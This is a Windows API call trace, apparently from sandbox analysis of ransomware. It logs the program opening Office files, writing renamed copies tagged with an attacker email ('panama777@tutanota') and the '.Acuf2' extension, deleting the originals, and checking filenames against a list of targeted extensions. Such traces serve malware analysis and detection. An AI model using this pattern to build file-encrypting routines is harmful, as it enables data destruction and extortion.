	[0263.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0263.379] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.379] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0263.379] GetLastError () returned 0x0
	[0263.379] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x272, lpOverlapped=0x0) returned 1
	[0263.381] WriteFile (in: hFile=0x32c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x280, lpOverlapped=0x0) returned 1
	[0263.382] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.382] WriteFile (in: hFile=0x32c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0263.382] SetEndOfFile (hFile=0x32c) returned 1
	[0263.382] CloseHandle (hObject=0x32c) returned 1
	[0263.382] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.382] SetEndOfFile (hFile=0x218) returned 1
	[0263.384] CloseHandle (hObject=0x218) returned 1
	[0263.384] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.384] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc")) returned 1
	[0263.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62
	[0263.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62
	[0263.385] lstrlenW (lpString=".doc") returned 4
	[0263.385] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0263.385] lstrlenW (lpString=".docx") returned 5
	[0263.385] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0263.385] lstrlenW (lpString=".pdf") returned 4
	[0263.385] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0263.385] lstrlenW (lpString=".xls") returned 4
	[0263.385] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0263.385] lstrlenW (lpString=".xlsx") returned 5
	[0263.385] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0263.385] lstrlenW (lpString=".ppt") returned 4
	[0263.385] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0263.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62
	[0263.385] lstrlenW (lpString=".zip") returned 4
	[0263.385] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0263.385] lstrlenW (lpString=".rar") returned 4
	[0263.385] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0263.385] lstrlenW (lpString=".bz2") returned 4
	[0263.385] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0263.385] lstrlenW (lpString=".7z") returned 3
	[0263.385] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0263.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62
	[0263.385] lstrlenW (lpString=".dbf") returned 4
	[0263.385] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0263.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62
	[0263.385] lstrlenW (lpString=".1cd") returned 4
	[0263.385] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0263.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62
	[0263.385] lstrlenW (lpString=".jpg") returned 4
	[0263.385] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0263.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62
	[0263.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62
	[0263.386] lstrlenW (lpString=".doc") returned 4
	[0263.386] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0263.386] lstrlenW (lpString=".docx") returned 5
	[0263.386] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0263.386] lstrlenW (lpString=".pdf") returned 4
	[0263.386] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0263.386] lstrlenW (lpString=".xls") returned 4
	[0263.386] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0263.386] lstrlenW (lpString=".xlsx") returned 5
	[0263.386] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0263.386] lstrlenW (lpString=".ppt") returned 4
	[0263.386] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0263.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62
	[0263.386] lstrlenW (lpString=".zip") returned 4
	[0263.386] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0263.386] lstrlenW (lpString=".rar") returned 4
	[0263.386] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0263.386] lstrlenW (lpString=".bz2") returned 4
	[0263.386] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0263.386] lstrlenW (lpString=".7z") returned 3
	[0263.386] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0263.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62
	[0263.386] lstrlenW (lpString=".dbf") returned 4
	[0263.386] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0263.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62
	[0263.386] lstrlenW (lpString=".1cd") returned 4
	[0263.386] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0263.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC") returned 62
	[0263.387] lstrlenW (lpString=".jpg") returned 4
	[0263.387] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0263.387] lstrcmpiW (lpString1=".HXK", lpString2=".Acuf2") returned 1
	[0263.387] lstrlenW (lpString="MSTORE_K_COL.HXK") returned 16
	[0263.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0263.387] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=113) returned 1
	[0263.387] CloseHandle (hObject=0x218) returned 1
	[0263.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk")) returned 0x20
	[0263.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0263.388] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.388] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0263.388] GetLastError () returned 0x0
	[0263.388] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x71, lpOverlapped=0x0) returned 1
	[0263.389] WriteFile (in: hFile=0x32c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0263.390] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.390] WriteFile (in: hFile=0x32c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xf4, lpOverlapped=0x0) returned 1
	[0263.390] SetEndOfFile (hFile=0x32c) returned 1
	[0263.390] CloseHandle (hObject=0x32c) returned 1
	[0263.390] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.390] SetEndOfFile (hFile=0x218) returned 1
	[0263.393] CloseHandle (hObject=0x218) returned 1
	[0263.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.393] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk")) returned 1
	[0263.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64
	[0263.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64
	[0263.393] lstrlenW (lpString=".doc") returned 4
	[0263.393] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0263.393] lstrlenW (lpString=".docx") returned 5
	[0263.393] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0263.393] lstrlenW (lpString=".pdf") returned 4
	[0263.393] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0263.393] lstrlenW (lpString=".xls") returned 4
	[0263.393] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0263.393] lstrlenW (lpString=".xlsx") returned 5
	[0263.393] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0263.393] lstrlenW (lpString=".ppt") returned 4
	[0263.393] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0263.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64
	[0263.393] lstrlenW (lpString=".zip") returned 4
	[0263.393] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0263.394] lstrlenW (lpString=".rar") returned 4
	[0263.394] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0263.394] lstrlenW (lpString=".bz2") returned 4
	[0263.394] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0263.394] lstrlenW (lpString=".7z") returned 3
	[0263.394] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0263.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64
	[0263.394] lstrlenW (lpString=".dbf") returned 4
	[0263.394] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0263.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64
	[0263.394] lstrlenW (lpString=".1cd") returned 4
	[0263.394] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0263.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64
	[0263.394] lstrlenW (lpString=".jpg") returned 4
	[0263.394] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0263.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64
	[0263.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64
	[0263.394] lstrlenW (lpString=".doc") returned 4
	[0263.394] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0263.394] lstrlenW (lpString=".docx") returned 5
	[0263.394] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0263.394] lstrlenW (lpString=".pdf") returned 4
	[0263.394] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0263.394] lstrlenW (lpString=".xls") returned 4
	[0263.394] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0263.394] lstrlenW (lpString=".xlsx") returned 5
	[0263.394] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0263.394] lstrlenW (lpString=".ppt") returned 4
	[0263.394] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0263.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64
	[0263.395] lstrlenW (lpString=".zip") returned 4
	[0263.395] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0263.395] lstrlenW (lpString=".rar") returned 4
	[0263.395] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0263.395] lstrlenW (lpString=".bz2") returned 4
	[0263.395] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0263.395] lstrlenW (lpString=".7z") returned 3
	[0263.395] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0263.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64
	[0263.395] lstrlenW (lpString=".dbf") returned 4
	[0263.395] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0263.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64
	[0263.395] lstrlenW (lpString=".1cd") returned 4
	[0263.395] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0263.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64
	[0263.395] lstrlenW (lpString=".jpg") returned 4
	[0263.395] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0263.395] lstrcmpiW (lpString1=".VRD", lpString2=".Acuf2") returned 1
	[0263.395] lstrlenW (lpString="NETWORK1.VRD") returned 12
	[0263.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0263.396] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=1844) returned 1
	[0263.396] CloseHandle (hObject=0x218) returned 1
	[0263.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd")) returned 0x20
	[0263.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0263.397] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.397] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0263.397] GetLastError () returned 0x0
	[0263.397] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x734, lpOverlapped=0x0) returned 1
	[0263.399] WriteFile (in: hFile=0x32c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x740, lpOverlapped=0x0) returned 1
	[0263.400] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.400] WriteFile (in: hFile=0x32c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0263.400] SetEndOfFile (hFile=0x32c) returned 1
	[0263.400] CloseHandle (hObject=0x32c) returned 1
	[0263.400] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.400] SetEndOfFile (hFile=0x218) returned 1
	[0263.402] CloseHandle (hObject=0x218) returned 1
	[0263.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.402] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd")) returned 1
	[0263.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60
	[0263.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60
	[0263.402] lstrlenW (lpString=".doc") returned 4
	[0263.403] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1
	[0263.403] lstrlenW (lpString=".docx") returned 5
	[0263.403] lstrcmpiW (lpString1=".docx", lpString2="1.VRD") returned -1
	[0263.403] lstrlenW (lpString=".pdf") returned 4
	[0263.403] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1
	[0263.403] lstrlenW (lpString=".xls") returned 4
	[0263.403] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1
	[0263.403] lstrlenW (lpString=".xlsx") returned 5
	[0263.403] lstrcmpiW (lpString1=".xlsx", lpString2="1.VRD") returned -1
	[0263.403] lstrlenW (lpString=".ppt") returned 4
	[0263.403] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1
	[0263.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60
	[0263.403] lstrlenW (lpString=".zip") returned 4
	[0263.403] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1
	[0263.403] lstrlenW (lpString=".rar") returned 4
	[0263.403] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1
	[0263.403] lstrlenW (lpString=".bz2") returned 4
	[0263.403] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1
	[0263.403] lstrlenW (lpString=".7z") returned 3
	[0263.403] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1
	[0263.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60
	[0263.403] lstrlenW (lpString=".dbf") returned 4
	[0263.403] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1
	[0263.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60
	[0263.403] lstrlenW (lpString=".1cd") returned 4
	[0263.403] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1
	[0263.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60
	[0263.403] lstrlenW (lpString=".jpg") returned 4
	[0263.403] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1
	[0263.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60
	[0263.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60
	[0263.404] lstrlenW (lpString=".doc") returned 4
	[0263.404] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1
	[0263.404] lstrlenW (lpString=".docx") returned 5
	[0263.404] lstrcmpiW (lpString1=".docx", lpString2="1.VRD") returned -1
	[0263.404] lstrlenW (lpString=".pdf") returned 4
	[0263.404] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1
	[0263.404] lstrlenW (lpString=".xls") returned 4
	[0263.404] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1
	[0263.404] lstrlenW (lpString=".xlsx") returned 5
	[0263.404] lstrcmpiW (lpString1=".xlsx", lpString2="1.VRD") returned -1
	[0263.404] lstrlenW (lpString=".ppt") returned 4
	[0263.404] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1
	[0263.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60
	[0263.404] lstrlenW (lpString=".zip") returned 4
	[0263.404] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1
	[0263.404] lstrlenW (lpString=".rar") returned 4
	[0263.404] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1
	[0263.404] lstrlenW (lpString=".bz2") returned 4
	[0263.404] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1
	[0263.404] lstrlenW (lpString=".7z") returned 3
	[0263.404] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1
	[0263.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60
	[0263.404] lstrlenW (lpString=".dbf") returned 4
	[0263.404] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1
	[0263.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60
	[0263.404] lstrlenW (lpString=".1cd") returned 4
	[0263.404] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1
	[0263.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60
	[0263.404] lstrlenW (lpString=".jpg") returned 4
	[0263.404] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1
	[0263.405] lstrcmpiW (lpString1=".VRD", lpString2=".Acuf2") returned 1
	[0263.405] lstrlenW (lpString="NETWORK2.VRD") returned 12
	[0263.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0263.405] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=2150) returned 1
	[0263.405] CloseHandle (hObject=0x218) returned 1
	[0263.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd")) returned 0x20
	[0263.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0263.405] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.405] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
